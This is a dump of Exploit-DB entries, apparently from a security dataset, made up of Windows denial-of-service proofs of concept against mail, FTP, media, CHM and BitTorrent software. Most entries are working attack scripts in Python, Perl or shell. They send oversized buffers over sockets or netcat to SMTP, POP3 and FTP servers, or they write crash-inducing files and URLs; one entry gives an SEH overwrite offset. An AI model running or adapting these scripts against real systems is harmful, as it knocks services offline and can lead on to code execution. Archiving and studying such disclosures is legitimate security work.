deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39070
Description: Base64 Decoder 1.1.2 - Overwrite (SEH) (PoC)
Type: dos
Platform: windows
Date: 2015-12-21
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit: b64dec SEH OverWrite.
# Date: 12/18/2015
# Exploit Author: Un_N0n
# Vendor: Tim Rohlfs
# Software Link: http://4mhz.de/b64dec.html
# Version: 1.1.2
# Tested on: Windows 7 x64(64bit)
********************************************************************************************

[Dump]

SEH chain of thread 00000EC0
Address    SE handler
024CFC50   b64dec.00458140
024CFC5C   b64dec.004581B3
024CFF28   b64dec.0045847C
024CFF00   41414141               <-------
41414141   *** CORRUPT ENTRY ***  <-------
----------------------------------------------------
024CFEE4   41414141  AAAA
024CFEE8   41414141  AAAA
024CFEEC   41414141  AAAA
024CFEF0   41414141  AAAA
024CFEF4   41414141  AAAA
024CFEF8   41414141  AAAA
024CFEFC   41414141  AAAA
024CFF00   41414141  AAAA  Pointer to next SEH record  <-----
024CFF04   41414141  AAAA  SE handler                  <----- 
024CFF08   41414141  AAAA
024CFF0C   41414141  AAAA
024CFF10   41414141  AAAA
024CFF14   41414141  AAAA
024CFF18   41414141  AAAA


[How to?]
1 - Open up b64dec.exe
2 - In Search field, paste in the contents of Crash.txt
3 - Hit 'Decode'

~ Software Crashes due to SEH Over-Write.

[Crash.txt?]
AAAAAAAAAAAAAAAAAAAAAAAAAA.......620 BBBB CCCC DDDDDDDDDDDDDDDDDDD

--------------------------------------|-----|
									 NSEH  SEH

[Extra Info]
Offset = 620
********************************************************************************************
Exploit-DB #599
Description: BaSoMail - Multiple Buffer Overflow (Denial of Service) (PoC) Vulnerabilities
Type: dos
Platform: windows
Date: 2004-10-26
Author: muts

Exploit:
#########################################################
# BaSoMail Multiple Buffer Overflow DOS		 	#
# 24 Oct 2004 - muts 					#
# Probably exploitable - However, I lack sleep!        	#
#########################################################

import struct
import socket

print "\n\n######################################################"
print "\nBaSoMail Multiple Buffer Overflow DOS"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nAlmost all the SMTP and POP3 commands are prone to BO.\n" 
print "\nFor Educational Purposes Only!\n" 
print "\n\n######################################################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Example buffer overflow 

buffer = '\x41'*10000

try:
	print "\nSending evil buffer..."
	s.connect(('192.168.1.32',110))
	s.send('USER ' + buffer + '\r\n')
	data = s.recv(1024)
	s.close()
	print "\nRun this script again, and server should crash."
except:
	print "\nCould not connect to sever!"

# milw0rm.com [2004-10-26]
Exploit-DB #22667
Description: BaSoMail 1.24 - POP3 Server Denial of Service
Type: dos
Platform: windows
Date: 2003-05-28
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7724/info

BaSoMail POP3 server has been reported prone to a remote denial of service vulnerability.

It has been reported that a remote authenticated attacker, may supply negative value integers to several POP3 commands successively. If the attacker then invokes the QUIT command the BaSoMail server will reportedly fail, possibly due to an internal exception. 

+OK Welcome to BaSoMail (www.BaSo.no)
user XXXX
+OK
pass XXXX
+OK Access granted
list -0
dele -0000
quit
Exploit-DB #22668
Description: BaSoMail 1.24 - SMTP Server Command Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-28
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7726/info

BaSoMail SMTP Server has been reported prone to a buffer overflow vulnerability.

The issue is likely due to a lack of sufficient bounds checking performed on arguments passed to SMTP commands.

Although unconfirmed and speculative, due to the nature of this vulnerability, it may be possible to exploit this issue to execute arbitrary attacker supplied code. 

# Telnet The_SMTP_Server_IP_Address 25
220 Welcome to BaSoMail (www.BaSo.no)
HELO <ccccc....[Buffer size 2100 Bytes]>
Or
Mail From : <ccccc....[Buffer size 2100 Bytes @xyz.com]>
Or
Rcpt to : <ccccc....[Buffer size 2100 Bytes @xyz.com]>
Quit
Exploit-DB #594
Description: BaSoMail Server 1.24 - POP3/SMTP Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-10-24
Author: KaGra

Exploit:
#!/usr/bin/perl


###############################################
#  BaSoMail Server POP3 and SMTP v1.24 D.o.S  #	
#  Discovered by Ziv Kamir,exploited by KaGra #
#					      #
#  This Sploit sends as HELO request 1 packet #
#  of 30K of data.If U use it at least 3 times#
#   SMTP and POP services will be D.o.Sed.    #
#     	 Tested in WinXP SP1 EnGlish	      #	
###############################################




use Net::SMTP;
print "\n[*]BuiLDinG BuFfer...\n";
$evil = 'A'x30000   ;

print "[*]@@@...SenDing DeViL...HeLL UnleaSheD...wait at least 30 seconds...@@@\n";

$smtp = Net::SMTP->new('localhost',
			Hello=>$evil,
			Timeout=>30,
			
			);

print "\nTarGet Has BeeN D.o.Sed,use Exploit at Least 3 times \n";
print "and then check if Server aLiVe!\n\n";

# milw0rm.com [2004-10-24]
Exploit-DB #21432
Description: BEA Systems WebLogic Server and Express 7.0 - Null Character Denial of Service
Type: dos
Platform: windows
Date: 2002-04-30
Author: Peter GrÃ¼ndl

Exploit:
source: https://www.securityfocus.com/bid/4646/info

BEA Systems WebLogic Server is an enterprise level web and wireless application server for Microsoft Windows and most Unix and Linux distributions.

BEA WebLogic Express provides a platform for serving dynamic data to web and wireless applications.

It is possible to create a denial of service condition by appending a null character to a request for a MS-DOS device name (such as AUX). Multiple malformed requests will cause the server to hang.

BugTraq ID 3816 "BEA Systems WebLogic Server DOS Device Denial of Service Vulnerability" describes a similar condition, which was fixed in WebLogic Server 6.1 SP2. However, the null character variation of this attack affects systems running WebLogic Server 6.1 SP2.

The server must be restarted to regain normal functionality. 

This issue may be exploited with a web browser. For example:

http://target//aux%00
Exploit-DB #8588
Description: Beatport Player 1.0.0.283 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-01
Author: SirGod

Exploit:
#####################################################################################################
#                   Beatport Player 1.0.0.283 (.M3U File) Local Stack Overflow PoC
#                           Discovered by SirGod   -   www.mortal-team.net
# Error log :
#
#         Logged at Friday, May 01, 2009 14:03:17
#         FileVersion: 1.0.0.283
#         ProductVersion: 1.0.0.0
#         Exception Code: 0xC0000005
#         Exception Addr: 0x001B:0x004317F0
#         Exception Module: TraktorBeatport.exe
#         Exception Description: EXCEPTION_ACCESS_VIOLATION, Attempt to read from address 0x000002BC
#         The memory could not be "read"
#	  http://www.brothersoft.com/beatport-player-download-62319.html         
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";

# milw0rm.com [2009-05-01]
Exploit-DB #17835
Description: Beckhoff TwinCAT 2.11.0.2004 - Denial of Service
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Beckhoff TwinCAT
              http://www.beckhoff.de/twincat/
Versions:     <= 2.11.0.2004
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."


#######################################################################

======
2) Bug
======


Denial of Service caused by an invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip

  udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #18776
Description: BeyondCHM 1.1 - Buffer Overflow
Type: dos
Platform: windows
Date: 2012-04-24
Author: shinnai

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=============================================================================
=============================================================================
 BeyondCHM 1.1 Buffer Overflow (price 32.56 EUR)
 Url: http://www.beyondchm.com/

 Author: shinnai
 mail:   shinnai[at]autistici[dot]org
 site:   http://shinnai.altervista.org/

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Microsoft Windows 7 Professional 
 6.1.7601 Service Pack 1 build 7601

 Info (http://www.beyondchm.com/):
 Beyond CHM is a powerful chm reader and chm editor, It enables user to
 open multiple tabs at the same time. With this CHM viewer, user can edit
 CHM files, including highlighting CHM text, changing font and font size,
 removing contents, adding comments and so on, all the changes can be saved
 persistently. Additionally, user can switch Beyond CHM between reader
 mode and editor mode easily. In reader mode, users can zoom on CHM pages
 and navigate among CHM pages easily. Beyond CHM is a good Microsoft HTML
 Help Tool replacement, which supports nearly all Windows operation systems.
 
 PoC released as is, I have no time at the moment for further investigations
 
=============================================================================
=============================================================================

 Crafting a .chm file is possible to cause a stack based buffer overflow.

 PoC: http://shinnai.altervista.org/exploits/chm.rar
      https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18776.rar

=============================================================================
=============================================================================

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (MingW32)

iQIcBAEBAgAGBQJPllNzAAoJEJlK/ai8vywmNcQQALVZzxXPZOLM8ghXeFoIZk1Y
zumWMQdE4TLQcwg2WNUcGzSvTLss/xMHdBDsHlzXslTBKYwN2W8BBCD0H8MLnhuE
3Vei9nokJDAy6ZKYL8rOeIcuknHIDwf4fjsejDnH1LDdPlKooB+4tYkpGbUcff96
RD4plKA/Olp4SlNPT2U3cEK940ahf6G9W2LGunWgB6jsydudAWUzgVG+sLI+kOmK
QAEe6aHsBVzR8zPHJzggkescICcQVxHdg/ppYxRr5lzeyEYUkHS+aY4k3Mr5U2My
E0l5QMCozoeSQPujW6U3U91TqkXpjViSuoaY+1v6shxyQbSvtHd6946YUMl7qMCI
xzAeofga7JCErH1lltVbUKUnoy6fmbd5F9x2TRIVUSdtoPEFgiHBi0HCRHimx/XS
Cxs/LDRyvM0oAYfbiEqRFm/bkoBxScMVQmXq+ZxRFYfihpU/U2jCfY3yk1E4UAsy
0PL0DVUtvt2Fro09pobXkYlVbRjH4BJwu9/Y4Ko/ZMqWFLDmGGEQiDtRB60n3oNm
k2CmmsVWTmYpIJ6Rlt3azIYRGCqRGALiB9Eph7WcZnij6y4PwSsNpf6uMZH864EM
J3QTi2Xhn+zEq4XEU7IHRRrFyJQOF+0TUV+qYMR+NuBmPhWXk27n6AXQJbu+RjAm
8dBjL95Ghi8s0VQt4rjb
=3c+B
-----END PGP SIGNATURE-----
Exploit-DB #9695
Description: BigAnt Server 2.50 SP1 - '.zip' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-16
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

#######################################################################
#
# BigAnt Server 2.50 SP1 Local Buffer Overflow PoC
# Found By: 	Dr_IDE
# Tested:   	XPSP3
# Usage:	Open BigAnt Console, Go to Update, Browse to zip, Boom.
#
#######################################################################

buff = ("\x41" * 10000)

f1 = open("BigAntUpdate.zip","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-16]
Exploit-DB #9734
Description: BigAnt Server 2.50 SP6 - '.zip' Local Buffer Overflow (PoC) (2)
Type: dos
Platform: windows
Date: 2009-09-21
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

########################################################################
#
# BigAnt Server <= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2
# Found By: 	Dr_IDE
# Tested:   	XPSP3
# Usage:		Open BigAnt Console, Go to Plug-In, Add our zip, Boom.
#
########################################################################

buff = ("\x41" * 10000)

f1 = open("BigAntPlugIn.zip","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-21]
Exploit-DB #25911
Description: BisonFTP 4R1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-06-28
Author: fRoGGz

Exploit:
source: https://www.securityfocus.com/bid/14079/info

BisonFTP is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users.

Reports indicate that the issue may be exploited only after successful authentication. 

#!/usr/bin/python
#
# Vulnerability: Denial Of Service
# Discovered on: June 26, 2005 by fRoGGz - SecuBox Labs
# When an invalid buffer size is sent to BisonFTPD -> DoS (100% CPU usage or crash)
# NB: Sorry for Python purists, it's the first time that i use it ;)

import socket
import time

n = 1
t = 98192 #Try others, it's funny.
p = 21 # Set your port here.
ip = "192.168.0.1" # Set ip here.
boom = "PoC "+'\x41'*t

print "\n\nVulnerable product: BisonFTP Server V4R1"
print "Denial of Service vulnerability"
print "---------------------------------------------"
print "Discovered & coded by fRoGGz - SecuBox Labs\n"

try:

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect=s.connect((ip,p))

    d=s.recv(1024)

    print "[+] " +d

    print "[+] Utilisateur."

    time.sleep(1)

    s.send('USER Anonymous\r\n')

    s.recv(512)

    print "[+] Mot de passe."

    time.sleep(1)

    s.send('PASS Anonymous\r\n')

    s.recv(512)

    print "[+] Envoi malicieux.\n\nDoS termine !\n"

    time.sleep(1)

    s.send(boom+'r\n\n')


except:

    print "[+] Machine indisponible, verifiez le port ou l'ip."
Exploit-DB #32056
Description: BitComet 1.02 - URI Handling Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-07-16
Author: Shinnok

Exploit:
source: https://www.securityfocus.com/bid/30255/info

BitComet is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the application. Given the nature of this vulnerability, the attacker may also be able to execute arbitrary code, but this has not been confirmed.

BitComet 1.02 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
# BitComet 1.02 [HTTP/FTP Batch Download] url DOS
#This python script will generate an evil_batch.txt file that when
#loaded into bitcomet for batch downloading it will result in a crash.
#The vulnerability resides in failure to handle overly long urls.
#(File->HTTP/FTP Batch Download->Import URL from file->OK)
#Debug output:
#              ----------------------------------------------------------------
#              Exception C00000FD (STACK_OVERFLOW)
#              ----------------------------------------------------------------
#              EAX=00032000: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
#              EBX=06E90020: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00
#              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#              EDX=7C90EB94: C3 8D A4 24 00 00 00 00-8D 64 24 00 90 90 90 90
#              ESP=0012B354: 66 9A 80 7C 5C 85 57 00-5C F9 B1 00 00 F0 5F 01
#              EBP=0012B380: 04 B4 12 00 83 8B 57 00-20 00 E9 06 50 00 00 00
#              ESI=015FF000: 14 CB 99 00 E4 05 00 00-06 00 00 00 3F 00 00 00
#              EDI=001E8482: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
#              EIP=00707E07: 85 00 EB E9 55 8B EC 51-53 56 8B F0 33 DB 3B F3
#                            --> TEST [EAX],EAX
#              ----------------------------------------------------------------
#
#
#Found by: Shinnok raydenxy [at] yahoo dot com
batch = 'http://'
badstr = 'A' * 1000000
batch += badstr

f = open('evil_batch.txt','wb')
f.write(batch);
f.close
Exploit-DB #11985
Description: BitComet 1.19 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-03-31
Author: Pierre Nogues

Exploit:
#!/bin/sh
#
# BitComet <= 1.19 Remote DOS Exploit
# Pierre Nogues - http://www.indahax.com/
#
# Description:
#     BitComet is a torrent client
#
#     BitComet doesn't handle malicious DHT packet with an invalid bencoded message.
#
# Affected versions :
#     BitComet <= 1.19
#
# Plateforms :
#     Windows
#
# Usage :
#     ./exploit.sh ip port

if [ $# -ne 2 ]; then
     echo "./exploit.sh ip port"
     exit 1
fi

nc -u $1 $2 << .
d[PII_REDACTED]:y1:q1:t4:\x001:q4:ping1:ad2:id20:[PII_REDACTED][PII_REDACTED]ee
.
Exploit-DB #7178
Description: BitDefender - Module pdf.xmd Infinite Loop Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-11-20
Author: ProTeuS

Exploit:
Deny Of Service and infinite loop in BitDefender (module pdf.xmd)
/* ProTeuS @ cih.ms */
tested on pdf.xmd BitDefender's pdf engine by Alexandru Matei (0.1,Oct 8 2008), CRC32=A393F805
and on pdf.xmd last update by the moment of publication

Deny of service occurs during parsing of included compressed streams (gotta use bdc.exe /arc option) in cause of using /FlateDecode /ASCIIHexDecode compression options and object tag /JavaScript in pdf. From time to time occurs either DoS with rewriting of arithmetic registers with the contents of user's decrypted buffer or an infinite loop during scanning after modifying stream-buffer we have such results:

775781CB 8B49 04 MOV ECX,DWORD PTR DS:[ECX+4]

Access violation when reading [30333037] - use Shift+F7/F8/F9 to pass exception to program

EAX 04354E20
ECX 30333033
EDX 30333033
EBX 01BF0000
ESP 0012D5B8
EBP 0012D5E0
ESI 04354E18
EDI 04352100
EIP 775781CB ntdll.775781CB

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7178.zip (2008-BitDefenderDOS.zip)

# milw0rm.com [2008-11-20]
Exploit-DB #3929
Description: BitsCast 0.13.0 - invalid string Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-15
Author: gbr

Exploit:
BitsCast 0.13.0 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

BitsCast crashes when receiving a RSS 2.0 feed item with a invalid string* in sub-element
'pubDate'.


* '../A' x 8, 'A/../' x 8, and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <link></link>
                <description></description>
                <pubDate>../A../A../A../A../A../A../A../A../A../A../A../A</pubDate>
        </item>            
                
</channel>
</rss>

# milw0rm.com [2007-05-15]
Exploit-DB #1721
Description: BL4 SMTP Server < 0.1.5 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-04-27
Author: Dedi Dwianto

Exploit:
#!/usr/bin/perl

use IO::Socket;
use Socket;

my($socket) = "";


if($#ARGV < 1 | $#ARGV > 2) {usage()}

if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n";


        print " -- Connecting To SMTP server at $adr port $prt ... \n";

        sleep(1);

        print $socket "EHLO yahoo.com\r\n" and print " -- Sending Request to $adr .....\n" or die "Error : can't send Request\n";

        sleep(1);

        print $socket "MAIL FROM:" . "jessy" x 4600 . "\r\n" and print " -- Sending Buffer to $adr .....\n";

        sleep(1);
        printf("[+]Ok!\n");
        printf("[+]Crash service.....\n");
        printf("[~]Done.\n");

        close($socket);


sub usage()
 {
 print "\n=========================================\r\n";
 print "     BL4's SMTP server Remote DOS \r\n";
 print "=========================================\r\n";
 print "       Bug Found by Dedi Dwianto \r\n";
 print "    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "      Echo Security Research Group \r\n";
 print "=========================================\r\n";
 print " Usage: perl bl4-explo.pl [target] [port] \r\n\n";
 exit();
 }

# milw0rm.com [2006-04-27]
Exploit-DB #15986
Description: Blackmoon FTP 3.1 Build 1735/1736 - Denial of Service
Type: dos
Platform: windows
Date: 2011-01-13
Author: Craig Freyman

Exploit:
#!/usr/bin/python

# Exploit Title: BlackmoonFTP Server DOS
# Date: 12/28/2010
# Author: Craig Freyman (cd1zz)
# Software Link: http://www.mediafire.com/?bnc4d00myymmx55
# Version: 3.1 Release 6 - Build 1735 and 1736
# Tested On: Windows XP SP3
# Vendor Contacted: 12/28/2010
# Vendor Fixed: 1/13/2011

import socket
import sys

buffer = '\x41' * 600

counter = 1

if len(sys.argv) != 3:
    	print "Usage: ./blackmoonDOS.py <ip> <port>"
        sys.exit()
 
ip   = sys.argv[1]
port = sys.argv[2]

while counter <= 300:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:	
		print "[*] Sending evil buffer. Count " + str(counter) + " out of 300"
		s.connect((ip,int(port)))
		s.recv(1024)
		s.send('PORT ' + buffer + '\r\n')
		s.recv(1024)
		s.send('QUIT \r\n')
		s.recv(1024)	
		s.close()
		counter=counter+1
	except:
		print "Check the service - probably dead!"
		sys.exit()
Exploit-DB #39966
Description: Blat 3.2.14 - Stack Overflow
Type: dos
Platform: windows
Date: 2016-06-16
Author: Vishnu

Exploit:
1.       Vulnerable Product Version:

*Blat v3.2.14*
Link: blat.net


2.       Vulnerability Information

Impact: Attacker may gain administrative access / can perform a DOS

Remotely Exploitable: No

Locally Exploitable: May be possible


3.       Product Details

An open source Windows (32 & 64 bit) command line SMTP mailer. We can use
it to automatically email logs, the contents of a html FORM, or whatever
else you need to send.

Since blat is lightweight, user friendly and simple (but awesome) many
vendors incorporates it with their Softwares. I have seen blat in many
commercial Softwares which use it for sending mails to its customers. And
Blat is awesome.


4.       Vulnerability Description

The Overflow vulnerability lies in the profile option parameter “–p”. When
a string of 236 bytes is send to blat, the EBP and EIP register gets
overwritten by the user input.

Reproduction:

*                blat.exe crashes with this command blat.exe –install
smtp.my.tld 127.0.0.1 –p <”A”*234+”B”*2>*


Feeding this command overwrites EBP with 0x00410041 and EIP with 0x00420042
(Please refer to the attached screen shot)


5.       Links

https://sourceforge.net/projects/blat/

https://groups.yahoo.com/neo/groups/blat/conversations/messages/13759